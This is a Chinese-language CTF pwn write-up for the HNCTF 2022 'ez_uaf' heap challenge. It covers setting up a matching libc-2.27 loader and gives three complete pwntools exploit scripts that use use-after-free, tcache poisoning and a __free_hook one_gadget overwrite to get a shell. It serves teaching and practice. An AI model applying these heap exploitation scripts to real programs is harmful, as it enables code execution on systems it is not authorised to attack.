众所周知我以前还是一个PWN手,但是转密码后已经有4-5年没碰过PWN了

由于之前做PWN的时候还没开博客,所以以前学过的东西都忘得差不多了,

最近在做一些PWN的复健,于是顺便记录一下学习的心得,免得以后忘了又要重学

第0篇就先写一下怎么跑起一个PWN题和(适应自己风格的-)pwntools脚本的写法

既然讲跑PWN题就必须先有一道题目,我这里选择的是HNCTF 2022 WEEK4的ez_uaf,没啥特别的原因,只是我刚好做到了这题。。。

看名字UAF就知道这是一道堆题,所以也可以顺便说一下一些UAF的打法

题目可从这里获得:https://www.nssctf.cn/problem/3105

本地调试环境搭建·

拿到题目后会有一个ez_uaflibc-2.27.soez_uaf就是题目的二进制程序,libc-2.27.so就是远程环境使用的libc库,这些基础的PWN知识应该都知道的,不多说了

在本地中虽然可以直接把ez_uaf跑起来,但是有一个问题是本地的libc库和远程的不一样,这就会造成程序运行的一些机制会不一样,也就是打的结果会不一样,简单来说就是,用本地库调的话最后可能会白打

另外有时候即使本地库的版本和远程的一样,也可能有区别,所以最好的做法是直接用题目给的库来跑程序

本地&远程版本一致·

如果你本地的libc库和远程环境的版本一样,可以直接用LD_LIBRARY_PATH=.把程序跑起来

首先查看程序的链接情况

1
2
3
4
✎ $ ldd ./ez_uaf
linux-vdso.so.1 (0x00007ffdd9354000)
libc.so.6 => /lib/x86_64-linux-gnu/libc.so.6 (0x00007f449c7d1000)
/lib64/ld-linux-x86-64.so.2 (0x00007f449c9fd000)

这里需要链接的libc库名字叫做libc.so.6,所以首先需要把题目的libc-2.27.so换个名字

我推荐的做法是用软链接,在题目文件夹中运行

1
ln -s ./libc-2.27.so ./libc.so.6

当然也可以用绝对路径来链,不过如果脚本在同一目录跑的话问题不大

然后如果运气足够好的话,用

1
LD_LIBRARY_PATH=. ./ez_uaf

应该就可以把程序跑起来

本地&远程版本不一致·

一般来说不可能每次遇到的PWN题的库都和本地的版本一样,运气不会这么好

这里推荐我自己常用的一种换库方法

首先把libc库链接到程序中需要一个链接器,以我自己的Ubuntu 24.04为例,连接器就是

1
/lib64/ld-linux-x86-64.so.2 -> ../lib/x86_64-linux-gnu/ld-linux-x86-64.so.2

一般链接器和libc库的版本是对应的,即对应版本的链接器才能链接对应版本的libc库

比如我本地的是libc-2.39的链接器,而远程的是libc-2.27,所以如果我直接用LD_LIBRARY_PATH=.去跑的话大概率会爆奇怪的错误

1
2
✎ $ LD_LIBRARY_PATH=. ./ez_uaf
Inconsistency detected by ld.so: dl-call-libc-early-init.c: 37: _dl_call_libc_early_init: Assertion `sym != NULL' failed!

解决方法是,把程序的链接器更换掉,换成libc-2.27的链接器

通常好一点的题目会把链接器和libc一起给你,但很显然这题不太好。。。

于是可以上网找一下有没现成的(反正我没找到),或者用上古方法从源码编一个对应版本的libc,编的时候会顺便把链接器编好

这里如果你找不到的话可以直接用我编好的ld-2.27.so来赣

然后拿到链接器ld-2.27.so后,还需要让程序用我这个链接器去链接libc库

通过上面的ldd输出可以知道程序认的链接器是/lib64/ld-linux-x86-64.so.2,这个值是程序编译时写死在程序里的,所以可以直接用Vim把它改掉

PS:或者用patchelf之类的工具也行,我个人嫌麻烦就直接Vim了

改之前首先备份一个,避免改坏

1
cp ./ez_uaf ./ez_uaf.bak

接着Vim打开,用/搜索/lib64/ld-linux-x86-64.so.2(理论上只有一个结果)

这里改的时候要满足一个规则,即改之前的长度和改之后的长度要一样,所以要改ld-2.27.so搞一个长度一样的路径

可以参考我的做法,先在题目路径把ld-2.27.so软连接成/lib64ld-linux-x86-64.so.2

1
ln -s ./ld-2.27.so ./lib64ld-linux-x86-64.so.2

然后把程序ez_uaf中的/lib64/ld-linux-x86-64.so.2改成./lib64ld-linux-x86-64.so.2即可

PS:因为用的是相对路径,所以也是只能在题目路径中跑exp,一般情况下够用了

改完后

最后再用

1
LD_LIBRARY_PATH=. ./ez_uaf

应该就可以运行了

最终搞完的目录结构是

1
2
3
4
5
6
7
8
.
├── exp.py
├── ez_uaf
├── ez_uaf.bak
├── ld-2.27.so
├── lib64ld-linux-x86-64.so.2 -> ./ld-2.27.so
├── libc-2.27.so
└── libc.so.6 -> ./libc-2.27.so

用pwntools运行·

如果用pwntools运行的话,需要在process那把LD_LIBRARY_PATH加到环境变量

参考代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
from pwn import *
from time import sleep
context.log_level = 'debug'
context.terminal = ['wt.exe', 'bash', '-c']

LOCAL = True
if LOCAL:
env = {'LD_LIBRARY_PATH': '.'}
r = process('./ez_uaf', env=env)
gdb.attach(r, gdbscript='')
input('Waiting GDB...')
else:
r = remote('node5.anna.nssctf.cn', 22590)

r.interactive()
r.close()

PS:因为我实在wsl里运行的,所以还需要加上

1
context.terminal = ['wt.exe', 'bash', '-c']

不然不能在新窗口中弹出gdb

PPS:理论上如果用gdb打开的话,直接在gdb里面打

1
set environment LD_LIBRARY_PATH=.

就可以跑,但实际试过不行,原因可能是这句相当于在shell中运行

1
export LD_LIBRARY_PATH=.

因为我shell中的程序不是用libc-2.27,所以就炸了

ez_uaf·

接下来稍微讲一下这题的做法

一般都是三板斧

  1. 找任意读,泄露程序基址、栈基址、堆基址、libc基址等信息
  2. 找任意写,找到能执行的地方把shell写进去然后执行
  3. 如果NX没开的话可以找任意执行,写shellcode

漏洞点·

delete函数中,对namecontent的堆块free后没有把指针设为0,造成UAF漏洞

PS:我上图是修过结构体的,大概意思懂即可

或者可以在IDA的Local Types中右键 -> Add type -> C syntax -> 把下面的粘进去

1
2
3
4
5
6
7
8
struct Chunk
{
char *name;
void *padding;
char *contant;
int size;
int alive;
};

然后把heaplist类型改成Chunk *heaplist[16]F5刷新

这些应该是逆向手的活,不归我教(

攻击思路·

大概的攻击思路是

  1. 通过UAF可以在delete后,通过show函数泄露堆的基址heap_base

  2. 通过把堆块弄到unsorted bin中可以泄露main_arena的地址,然后泄露libc的基址libc_base

  3. 泄露heap_baselibc_base后,可以用UAF改bins中堆块的连接关系,修改某个堆块的content地址为malloc_hook或者free_hook

  4. 结合edit函数在malloc_hook或者free_hook上写one_gadget

  5. 调用mallocfree就可以get shell

Part.1 泄露heap_base·

泄露heap_base是相对简单的,因为堆块被free后在*bin中是以链表的形式存储,所以就会在堆块中存储上一个和下一个堆块的地址(或者如果没有的话就存0,表示NULL

而通过show的UAF可以泄露namecontent堆块的内容,也就可以在free构造*bin中的链后泄露堆地址

其中以name的堆块为例,这个堆块大小固定是0x30,在libc-2.27中被free后会被放到tcachebin

tcachebin中的堆块以单链表的形式存储,所以在free掉两个堆块后就可以构造

1
chunk(2) -> chunk(1) -> NULL

这样在通过chunk(2)FD指针就可以泄露chunk(1)的地址,然后计算出heap_base

PS:至于为什么不搞chunk(1)BK指针,是因为puts时前面FD指针的0会截断输出,拿不到

Part.2 泄露libc_base·

泄露libc_base稍微复杂一点,如果要在堆上摸到libc库的地址的话,需要通过Unsorted Bin Attack

大概意思是,由于unsortedbin是以循环双链表的形式存储,不像单链表那样可以快速地找到链头

所以会有一个叫arena的东西(或者主线程中叫main_arena),arena会被当做一个假的chunk存放在unsortedbin中,好像是为了方便内存的管理,有空再研究研究(挖坑

这样的话,通过arena可以找到unsortedbin中的堆块

由于unsortedbin是双向循环链表,所以反过来想,通过unsortedbin上的堆块也可以拿到arena的地址,而arenalibc上的结构体,也就相当于泄露了libc_base

PS:如果可以不把arena放在unsortedbin中的话,不久可以避免libc_base泄露了,为啥一定要放进去也是原理未明

于是接下来的问题是,怎么把堆块发配到unsortedbin中,首先看一下64位机器中各个bin的大小(GPT说的,32位机器的话好像是砍半)

根据libc-2.27的机制,在free后好像是会先把堆块放到tcachebin,如果tcachebin被塞满了或者这个堆块的大小超过了tcachebin限制的堆块大小(1032字节),就会分配到unsortedbin,然后后续再分配到其他bin

所以这里就有两种方法

  1. 通过多次adddeletetcachebin填满,然后再次delete后就会分配到unsortedbin,一般tcachebin的大小是7,那么就是delete8个的时候就会到unsortedbin

    不过这个方法会有点麻烦,首先如果题目有adddelete操作次数限制的话就不能这样搞,其次是前面塞到tcachebin中的堆块也不太好管理

  2. 通过delete大小为0x410以上的堆块,直接让它放到unsortedbin

    缺点是如果malloc时有堆块大小限制的话就没用,这题限制的大小是0x500,所以可以这样搞

因为题目中namecontent是分开的两个区块,所以可以把heap_base的泄露合在一起做,就是

  1. 进行两次add,分配两个content大小为0x410的堆块,同时也会分配两个大小为0x30name堆块

  2. 依次删除chunk(1)chunk(2),对于name就会形成

    1
    name(2) -> name(1) -> NULL

    的链,用Part.1的方法就可以泄露heap_base

  3. 对于content,理论上在两次delete后会形成跟上面那个图一样的

    1
    content(2) <-> content(1) <-> main_arena <-> content(2)

    但实际上并不是,因为仔细观察的话会发现,content(2)其实是和top_chunk相邻的堆块

    对这样的堆块free的时候,并不会扔进unsortedbin中,而是会被top_chunk吞掉

    也就是实际形成的是只有content(1)main_arena两个节点的循环双链表

    1
    content(1) <-> main_arena

    但这也够了,因为在content(1)中已经有libc的地址,show一下就可以泄露libc_base

Part.3 构造任意写·

接下来需要构造一个任意写,我的方法是利用UAF修改tcachebin上的链

首先分配两个contnet大小和前面不一样的区块,比如我的是0x40,然后再依次delete,这样再tcachebin上就会形成

1
content(4) -> content(3) -> NULL

这是如果用UAF把content(4)FD指针改成想要写的地址addr,那么就是

1
content(4) -> addr

这是只要再分配两个0x40的堆块,第二个就会落到addr中,实现堆上的任意写

PS:好像是因为tcachebin中没有检查机制才能这样干,不然还要在写的地方构造堆块头

于是接着就可以随便找个堆块覆写里面content的地址,然后调用edit实现任意写

我的做法是,在exp的开头首先add一个堆块chunk(0),然后去覆写里面content的地址

当然这样会多add一个堆块,但是容易理解一点,反正题目给的次数也足够多

Part.4 free_hook写one_gadget·

最后的问题是,到底要写哪

因为目前不能泄露程序的基址,所以肯定不能覆写返回值

而在堆题中有两个很方便的地方叫malloc_hookfree_hook,这两个地方都在libc

大概原理是,在调用malloc或者free前,malloc_hookfree_hook上有东西的话,会先调用malloc_hookfree_hook指向的地址的内容

1
2
3
4
5
6
7
from pwn import *

libc = ELF('libc-2.27.so')
libc_malloc_hook = libc_base + libc.symbols['__malloc_hook']
libc_free_hook = libc_base + libc.symbols['__free_hook']
print(f'{hex(libc_malloc_hook) = }')
print(f'{hex(libc_free_hook) = }')

至于要写啥,由于*_hook上只能写一个地址,所以就是one_gadget

Exp·

Exp.1·

首先给一个正常的exp,就是按照上面所说流程写的exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
from pwn import *
from time import sleep
context.log_level = 'debug'
context.terminal = ['wt.exe', 'bash', '-c']
T = 0.2

LOCAL = True
if LOCAL:
env = {'LD_LIBRARY_PATH': '.'}
r = process('./ez_uaf', env=env)
gdb.attach(r, gdbscript='')
input('Waiting GDB...')
else:
r = remote('node5.anna.nssctf.cn', 22590)

def add(size, name, content):
r.sendlineafter(b'Choice:', b'1')
r.sendafter(b'Size:', str(size).encode())
r.sendafter(b'Name:', name)
r.sendafter(b'Content:', content)
sleep(T)

def delete(idx):
r.sendlineafter(b'Choice:', b'2')
r.sendlineafter(b'Input your idx:', str(idx).encode())
sleep(T)

def show(idx):
r.sendlineafter(b'Choice:', b'3')
r.sendlineafter(b'Input your idx:\n', str(idx).encode())
sleep(T)
name = r.recvline()
content = r.recvline()
return {'n': name, 'c': content}

def edit(idx, content):
r.sendlineafter(b'Choice:', b'4')
r.sendlineafter(b'Input your idx:', str(idx).encode())
r.send(content)
sleep(T)


add(0x8, b'aaa', b'aaaaa')
add(0x410, b'bbb', b'bbbbb')
add(0x410, b'ccc', b'ccccc')
delete(1)
delete(2)
heap_base = u64(show(2)['n'].split(b'\n')[0].ljust(8, b'\x00')) - 0x2b0
print(f'{hex(heap_base) = }')

libc_base = u64(show(1)['c'].split(b'\n')[0].ljust(8, b'\x00')) - 0x3ebca0
print(f'{hex(libc_base) = }')


add(0x40, b'ddd', b'ddddd')
add(0x40, b'eee', b'eeeee')
delete(3)
delete(4)
edit(4, p64(heap_base + 0x250))

libc = ELF('libc-2.27.so')
libc_free_hook = libc_base + libc.symbols['__free_hook']
print(f'{hex(libc_free_hook) = }')

'''
0x4f302 execve("/bin/sh", rsp+0x40, environ)
constraints:
[rsp+0x40] == NULL || {[rsp+0x40], [rsp+0x48], [rsp+0x50], [rsp+0x58], ...} is a valid argv
'''
libc_ogg = libc_base + 0x4f302


'''
+0250 0x55cdc6fd5250 00 00 00 00 00 00 00 00 31 00 00 00 00 00 00 00 │........│1.......│
+0260 0x55cdc6fd5260 61 61 61 00 00 00 00 00 00 00 00 00 00 00 00 00 │aaa.....│........│
+0270 0x55cdc6fd5270 90 52 fd c6 cd 55 00 00 08 00 00 00 01 00 00 00 │.R...U..│........│
+0280 0x55cdc6fd5280 00 00 00 00 00 00 00 00 21 00 00 00 00 00 00 00 │........│!.......│
+0290 0x55cdc6fd5290 61 61 61 61 61 00 00 00 00 00 00 00 00 00 00 00 │aaaaa...│........│
'''
add(0x40, b'fff', b'fffff')
add(0x40, b'aaa', p64(0) + p64(0x31) + b'pwn by Tover....' + p64(libc_free_hook) + p32(0x8) + p32(1))

input('> pwn')
edit(0, p64(libc_ogg))
delete(0)

r.interactive()
r.close()

gdb自动化·

然后最近我发现在gdb.attach调起gdb的时候带上api=True的话,就可以用pwntools操纵gdb,实现自动化调试,就不用每次gdb都输入重复的命令来调试了,可以参考pwntools的文档

下面给一份不太正常的exp来参考参考

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
from pwn import *
from time import sleep
context.log_level = 'debug'
context.terminal = ['wt.exe', 'bash', '-c']
T = 0.2

LOCAL = True
AUTOGDB = True
if LOCAL:
env = {'LD_LIBRARY_PATH': '.'}
r = process('./ez_uaf', env=env)
if AUTOGDB:
gid, g = gdb.attach(r, api=True, gdbscript='')
else:
gdb.attach(r, gdbscript='')
input('Waiting GDB...')
else:
r = remote('node5.anna.nssctf.cn', 22590)

def add(size, name, content):
r.sendlineafter(b'Choice:', b'1')
r.sendafter(b'Size:', str(size).encode())
r.sendafter(b'Name:', name)
r.sendafter(b'Content:', content)
sleep(T)

def delete(idx):
r.sendlineafter(b'Choice:', b'2')
r.sendlineafter(b'Input your idx:', str(idx).encode())
sleep(T)

def show(idx):
r.sendlineafter(b'Choice:', b'3')
r.sendlineafter(b'Input your idx:\n', str(idx).encode())
sleep(T)
name = r.recvline()
content = r.recvline()
return {'n': name, 'c': content}

def edit(idx, content):
r.sendlineafter(b'Choice:', b'4')
r.sendlineafter(b'Input your idx:', str(idx).encode())
r.send(content)
sleep(T)


AUTOGDB and g.execute('c') and sleep(T)
AUTOGDB and g.execute('p "leak heap_base"') and sleep(T)
add(0x8, b'aaa', b'aaaaa')
add(0x410, b'bbb', b'bbbbb')
add(0x410, b'ccc', b'ccccc')
AUTOGDB and g.execute('hexdump *(size_t*)$rebase(0x4060) 4096') and sleep(T)
delete(1)
delete(2)
heap_base = u64(show(2)['n'].split(b'\n')[0].ljust(8, b'\x00')) - 0x2b0
print(f'{hex(heap_base) = }')

AUTOGDB and g.execute('p "leak libc_base"') and sleep(T)
AUTOGDB and g.execute('hexdump %s 4096' % hex(heap_base)) and sleep(T)
AUTOGDB and g.execute('bins') and sleep(T)
AUTOGDB and g.execute('x/16gx $rebase(0x4060)') and sleep(T)
libc_base = u64(show(1)['c'].split(b'\n')[0].ljust(8, b'\x00')) - 0x3ebca0
print(f'{hex(libc_base) = }')


AUTOGDB and g.execute('p "random write"') and sleep(T)
add(0x40, b'ddd', b'ddddd')
add(0x40, b'eee', b'eeeee')
delete(3)
delete(4)
edit(4, p64(heap_base + 0x250))
AUTOGDB and g.execute('hexdump %s 4096' % hex(heap_base)) and sleep(T)
AUTOGDB and g.execute('bins') and sleep(T)

libc = ELF('libc-2.27.so')
libc_free_hook = libc_base + libc.symbols['__free_hook']
print(f'{hex(libc_free_hook) = }')

'''
0x4f302 execve("/bin/sh", rsp+0x40, environ)
constraints:
[rsp+0x40] == NULL || {[rsp+0x40], [rsp+0x48], [rsp+0x50], [rsp+0x58], ...} is a valid argv
'''
libc_ogg = libc_base + 0x4f302


'''
+0250 0x55cdc6fd5250 00 00 00 00 00 00 00 00 31 00 00 00 00 00 00 00 │........│1.......│
+0260 0x55cdc6fd5260 61 61 61 00 00 00 00 00 00 00 00 00 00 00 00 00 │aaa.....│........│
+0270 0x55cdc6fd5270 90 52 fd c6 cd 55 00 00 08 00 00 00 01 00 00 00 │.R...U..│........│
+0280 0x55cdc6fd5280 00 00 00 00 00 00 00 00 21 00 00 00 00 00 00 00 │........│!.......│
+0290 0x55cdc6fd5290 61 61 61 61 61 00 00 00 00 00 00 00 00 00 00 00 │aaaaa...│........│
'''
AUTOGDB and g.execute('p "write ogg to free hook"') and sleep(T)
add(0x40, b'fff', b'fffff')
AUTOGDB and g.execute('bins') and sleep(T)
add(0x40, b'aaa', p64(0) + p64(0x31) + b'pwn by Tover....' + p64(libc_free_hook) + p32(0x8) + p32(1))

AUTOGDB and g.execute('hexdump %s 256' % hex(heap_base + 0x250)) and sleep(T)
AUTOGDB and g.execute('x/16gx $rebase(0x4060)') and sleep(T)
AUTOGDB and g.execute('x/gx %s' % hex(libc_free_hook)) and sleep(T)
# AUTOGDB and g.execute('b *%s' % hex(libc_ogg)) and sleep(T)
# x/gx $rsp+0x40

input('> pwn')
AUTOGDB and g.execute('p "pwn"') and sleep(T)
edit(0, p64(libc_ogg))
delete(0)

r.interactive()
r.close()

Exp.2·

上面也说了可以通过塞满tcachebin泄露libc_base

这里也给一份参考代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93

from pwn import *
from time import sleep
#context.log_level = 'debug'
context.terminal = ['wt.exe', 'bash', '-c']
T = 0.2

LOCAL = True
if LOCAL:
env = {'LD_LIBRARY_PATH': '.'}
r = process('./ez_uaf', env=env)
gdb.attach(r, gdbscript='')
input('Waiting GDB...')
else:
r = remote('node5.anna.nssctf.cn', 22590)

def add(size, name, content):
r.sendlineafter(b'Choice:', b'1')
r.sendafter(b'Size:', str(size).encode())
r.sendafter(b'Name:', name)
r.sendafter(b'Content:', content)
sleep(T)

def delete(idx):
r.sendlineafter(b'Choice:', b'2')
r.sendlineafter(b'Input your idx:', str(idx).encode())
sleep(T)

def show(idx):
r.sendlineafter(b'Choice:', b'3')
r.sendlineafter(b'Input your idx:\n', str(idx).encode())
sleep(T)
return r.recvline()

def edit(idx, content):
r.sendlineafter(b'Choice:', b'4')
r.sendlineafter(b'Input your idx:', str(idx).encode())
r.send(content)
sleep(T)


add(0x30, b'aaa', b'aaaaa')
add(0x30, b'bbb', b'bbbbb')
add(0x30, b'ccc', b'ccccc')
delete(0)
delete(1)
heap_base = u64(show(1).split(b'\n')[0].ljust(8, b'\x00')) - 0x260
print(f'{hex(heap_base) = }')

for i in range(9):
add(0x100, str(i).encode() * 3, str(i).encode() * 5)

for i in range(9):
delete(3 + i)

libc_base = u64(show(10).split(b'\n')[0].ljust(8, b'\x00')) - 0x3ebca0
print(f'{hex(libc_base) = }')


add(0x40, b'ddd', b'bbbbb')
add(0x40, b'eee', b'ccccc')
delete(12)
delete(13)
edit(13, p64(heap_base + 0x330))
add(0x40, b'fff', b'fffff')

'''
+00e0 0x555c4ece0330 00 00 00 00 00 00 00 00 31 00 00 00 00 00 00 00
+00f0 0x555c4ece0340 63 63 63 00 00 00 00 00 00 00 00 00 00 00 00 00
+0100 0x555c4ece0350 70 03 ce 4e 5c 55 00 00 30 00 00 00 01 00 00 00
+0110 0x555c4ece0360 00 00 00 00 00 00 00 00 41 00 00 00 00 00 00 00
+0120 0x555c4ece0370 63 63 63 63 63 00 00 00 00 00 00 00 00 00 00 00
'''

libc = ELF('libc-2.27.so')
libc_free_hook = libc_base + libc.symbols['__free_hook']
print(f'{hex(libc_free_hook) = }')

'''
0x4f302 execve("/bin/sh", rsp+0x40, environ)
constraints:
[rsp+0x40] == NULL || {[rsp+0x40], [rsp+0x48], [rsp+0x50], [rsp+0x58], ...} is a valid argv
'''

libc_ogg = libc_base + 0x4f302
add(0x40, b'eee', p64(0) + p64(0x31) + b'pwn by Tover....' + p64(libc_free_hook) + p32(0x30) + p32(1))
edit(2, p64(libc_ogg))

input('> hook')
delete(2)

r.interactive()
r.close()